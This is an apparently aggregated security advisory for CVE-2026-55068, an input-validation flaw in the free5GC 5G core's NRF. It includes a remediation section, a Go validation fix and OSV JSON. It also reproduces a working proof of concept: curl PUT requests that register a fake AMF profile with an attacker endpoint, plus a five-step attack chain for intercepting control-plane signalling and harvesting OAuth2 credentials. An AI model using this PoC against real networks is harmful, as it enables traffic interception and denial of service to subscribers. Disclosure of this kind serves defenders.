CVE-2026-55068: Github.com/free5gc/free5gc Free5GC NRF Nnrf-nfm Lacks NF Vulnerability

CRITICAL
Advisory Identifier: GHSA-x8mj-6p3q-g5pp
CWE-20
Published
Advisory Summary

CVE-2026-55068 is a CRITICAL free5gc nrf nnrf-nfm lacks nf vulnerability (CWE-20: Improper Input Validation) affecting Github.com/free5gc/free5gc libraries in the Go ecosystem. The issue involves free5gc nrf nnrf-nfm lacks nf profile input validation — enables nf registration poisoning with arbitrary service endpoints. Remediation is available by upgrading affected packages to version 4.2.2.

CVE-2026-55068 at a Glance

CVE Identifier CVE-2026-55068
GHSA Identifier GHSA-x8mj-6p3q-g5pp
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-20: Improper Input Validation
Affected Product Github.com/free5gc/free5gc
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-55068

To remediate this vulnerability, upgrade all affected Github.com/free5gc/free5gc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/free5gc/free5gc fixed: 4.2.2
Upgrade github.com/free5gc/free5gc to 4.2.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/free5gc/free5gc

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55068, inspect your project dependencies for Github.com/free5gc/free5gc:

inspect dependencies for github.com/free5gc/free5gc

Analyze the terminal output to locate any version of Github.com/free5gc/free5gc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/free5gc/free5gc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers. --- ### Details free5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated: **Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `"not-a-uuid"`, `"11111111-1111-1111-1111-111111111111"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement. **Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `"INVALID_STATUS"`). **Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2. **Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2. **Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints. All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances. **Attack chain** ( OAuth is enabled): 1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777` 2. NRF stores the profile and advertises it via NFDiscover 3. SMF queries NRF for AMF instances and selects the fake one 4. SMF routes N1N2 signaling to `10.0.0.99:7777` 5. Attacker intercepts control-plane traffic **Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories. **Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging). ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```bash # Step 1: Register fake AMF with attacker-controlled IP curl -X PUT \ "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \ -H "Content-Type: application/json" \ -d '{ "nfInstanceId": "11111111-1111-1111-1111-111111111111", "nfType": "AMF", "nfStatus": "REGISTERED", "heartBeatTimer": 3600, "plmnList": [{"mcc": "001", "mnc": "01"}], "sNssais": [{"sst": 1, "sd": "010203"}], "nfServices": [{ "serviceInstanceId": "fake-amf-svc", "serviceName": "namf-comm", "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}], "scheme": "http", "nfServiceStatus": "REGISTERED", "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}] }] }' # Returns: HTTP 201 (Accepted — profile stored with fake endpoint) # Step 2: Confirm the profile is stored curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" # Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response # Step 3: Verify the fake AMF appears in discovery results curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF" # Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs # Additional constraint violations (all return 200/201): curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \ -H "Content-Type: application/json" \ -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}' # Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted) ``` **Expected fix**: ```go import "github.com/google/uuid" func validateNFProfile(profile *NFProfile) error { // UUID v4 validation if _, err := uuid.Parse(profile.NfInstanceId); err != nil { return fmt.Errorf("nfInstanceId must be valid UUID v4") } // Enum validation validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true} if !validStatuses[profile.NfStatus] { return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE") } // Range validation if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 { return fmt.Errorf("heartBeatTimer must be between 1 and 3600") } return nil } // Return HTTP 400 with ProblemDetails on validation failure ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required | | **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service | | **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest | | **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh | | **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure | | **Status** | Reported to maintainers | **Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack. **Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.

CVE-2026-55068 Affected Github.com/free5gc/free5gc Versions

1 component(s)
Fixed Versions:
4.2.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/free5gc/free5gc
Go
< 4.2.2
4.2.2

References

Frequently Asked Questions

What is CVE-2026-55068?
CVE-2026-55068 is a security vulnerability in Github.com/free5gc/free5gc involving free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints under CWE-20: Improper Input Validation.
Which Github.com/free5gc/free5gc versions are affected?
Affected versions include releases prior to 4.2.2 across affected packages: github.com/free5gc/free5gc.
What version fixes CVE-2026-55068?
Upgrading to 4.2.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/free5gc/free5gc affected?
Yes, github.com/free5gc/free5gc is affected in releases prior to 4.2.2. Upgrade your dependency to 4.2.2 or later.
What CWE is associated with CVE-2026-55068?
CVE-2026-55068 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-55068?
Run the dependency tree command: 'inspect dependencies for github.com/free5gc/free5gc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x8mj-6p3q-g5pp",
  "modified" : "2026-08-28T16:58:13Z",
  "published" : "2026-08-28T16:58:13Z",
  "aliases" : [ "CVE-2026-55068" ],
  "summary" : "free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints",
  "details" : "### Summary\n\nfree5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.\n\n---\n\n### Details\n\nfree5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:\n\n**Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `\"not-a-uuid\"`, `\"11111111-1111-1111-1111-111111111111\"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.\n\n**Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `\"INVALID_STATUS\"`).\n\n**Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2.\n\n**Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2.\n\n**Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints.\n\nAll five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances.\n\n**Attack chain** ( OAuth is enabled):\n1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777`\n2. NRF stores the profile and advertises it via NFDiscover\n3. SMF queries NRF for AMF instances and selects the fake one\n4. SMF routes N1N2 signaling to `10.0.0.99:7777`\n5. Attacker intercepts control-plane traffic\n\n**Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.\n\n\n**Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).\n\n### PoC\n\n**No configuration changes needed.** Default free5GC deployment is vulnerable.\n\n```bash\n# Step 1: Register fake AMF with attacker-controlled IP\ncurl -X PUT \\\n  \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"nfInstanceId\": \"11111111-1111-1111-1111-111111111111\",\n    \"nfType\": \"AMF\",\n    \"nfStatus\": \"REGISTERED\",\n    \"heartBeatTimer\": 3600,\n    \"plmnList\": [{\"mcc\": \"001\", \"mnc\": \"01\"}],\n    \"sNssais\": [{\"sst\": 1, \"sd\": \"010203\"}],\n    \"nfServices\": [{\n      \"serviceInstanceId\": \"fake-amf-svc\",\n      \"serviceName\": \"namf-comm\",\n      \"versions\": [{\"apiVersionInUri\": \"v1\", \"apiFullVersion\": \"1.0.0\"}],\n      \"scheme\": \"http\",\n      \"nfServiceStatus\": \"REGISTERED\",\n      \"ipEndPoints\": [{\"ipv4Address\": \"10.0.0.99\", \"port\": 7777, \"transport\": \"TCP\"}]\n    }]\n  }'\n# Returns: HTTP 201 (Accepted — profile stored with fake endpoint)\n\n# Step 2: Confirm the profile is stored\ncurl \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111\"\n# Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response\n\n# Step 3: Verify the fake AMF appears in discovery results\ncurl \"http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF\"\n# Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs\n\n# Additional constraint violations (all return 200/201):\ncurl -X PUT \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"nfInstanceId\": \"not-a-uuid\", \"nfType\": \"AMF\", \"nfStatus\": \"INVALID_STATUS\", \"heartBeatTimer\": 0}'\n# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted)\n```\n\n**Expected fix**:\n```go\nimport \"github.com/google/uuid\"\n\nfunc validateNFProfile(profile *NFProfile) error {\n    // UUID v4 validation\n    if _, err := uuid.Parse(profile.NfInstanceId); err != nil {\n        return fmt.Errorf(\"nfInstanceId must be valid UUID v4\")\n    }\n    // Enum validation\n    validStatuses := map[string]bool{\"REGISTERED\": true, \"SUSPENDED\": true, \"UNDISCOVERABLE\": true}\n    if !validStatuses[profile.NfStatus] {\n        return fmt.Errorf(\"nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE\")\n    }\n    // Range validation\n    if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 {\n        return fmt.Errorf(\"heartBeatTimer must be between 1 and 3600\")\n    }\n    return nil\n}\n// Return HTTP 400 with ProblemDetails on validation failure\n```\n\n### Impact\n\n| Property | Value |\n|----------|-------|\n| **Authentication** | None required  |\n| **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service |\n| **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest |\n| **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh |\n| **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure |\n| **Status** | Reported to maintainers |\n\n**Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack.\n\n**Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/free5gc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.2.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-x8mj-6p3q-g5pp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/issues/1056"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nrf/pull/90"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nrf/commit/bda0cf75be5556bb4c758c8b34710f3fe6bbe3ea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nrf/commit/fcd3cfaa27cc4dc17172ee0c4c3e0a3a696297c6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/free5gc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/releases/tag/v4.2.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/nrf/releases/tag/v1.4.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:58:13Z",
    "nvd_published_at" : null
  }
}